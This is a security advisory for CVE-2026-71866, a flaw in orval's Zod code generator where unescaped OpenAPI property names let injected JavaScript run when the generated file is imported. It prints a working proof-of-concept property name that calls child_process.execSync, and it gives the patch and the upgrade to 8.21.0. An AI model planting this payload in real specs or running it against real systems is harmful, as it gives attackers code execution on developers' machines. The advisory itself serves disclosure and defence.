CVE-2026-71866: orval Import-time RCE via Zod Object Property Name Injection
When orval generates a Zod validation client from an OpenAPI spec, it writes schema property names directly into the output file as unescaped JavaScript string keys, so a malicious property name…

The problem
orval's zod client generator emits each schema property name as a raw double-quoted key inside a zod.object({...}) call, with no escaping. A property name that contains a double quote closes the key string and drops into object-literal context.
Because the export const X = zod.object({...}) statement executes at module load time, any JavaScript expression placed in a computed property key [expr] runs immediately when the generated file is imported. An attacker who controls any field name in a spec (including via a third-party API) can achieve full OS command execution on any machine that generates and then imports the client.
Proof of concept
A working proof-of-concept for CVE-2026-71866 in orval, with the exact payload below.
# OpenAPI property name (place under properties: in any schema object)
# Value (the property "name" in the spec):
a":zod.string(),[require("child_process").execSync("id > /tmp/PWNED")]:zod.string(),"b
# orval emits this into the generated .ts file:
export const OpBody = zod.object({ "a":zod.string(),[require("child_process").execSync("id > /tmp/PWNED")]:zod.string(),"b": zod.string().optional() })
# The moment a consumer runs:
import { OpBody } from './generated/opBody';
# ...the execSync fires. File /tmp/PWNED is written with the output of `id`.The root cause is missing output encoding (CWE-116) in the zod code generator: property names are interpolated verbatim into a double-quoted JS string key with no sanitization, making quote characters a direct breakout vector. A computed property key [expr] placed after the breakout is evaluated eagerly by the JS engine when the object literal is constructed, which happens at import time because the schema is a module-level export const.
The patch (PR #3692, commit 8ef1bfd) wraps every property name through JSON.stringify before writing it into the zod object key, so any embedded quote becomes \" and the breakout is impossible. The fix follows the same pattern already applied to earlier orval injection CVEs (MCP, enum descriptions, mock generator).
The fix
Upgrade orval to 8.21.0 or later. The fix is in PR #3692 (commit 8ef1bfdf3f9bcaf9dabfbe2e42887f1c0e159ab6): property names are now serialized with JSON.stringify before being written into the generated zod.object key, closing the string-injection surface. After upgrading, regenerate all zod clients, especially any previously generated from third-party or user-supplied specs.
Reported by melloware.
Related research
- high · 7.1CVE-2026-62680CVE-2026-62680: Orval Generation-Time SSRF and Local File Inclusion via Unvalidated $ref
- criticalCVE-2026-69264CVE-2026-69264: Flowise CSVAgent Pyodide Code Injection RCE
- criticalCVE-2026-69253CVE-2026-69253: Flowise vm2 Sandbox Escape to RCE via moment locale Injection
- critical · 9.8CVE-2026-69240CVE-2026-69240: Sequelize SQL Injection via Oracle TO_DATE/TO_TIMESTAMP Bypass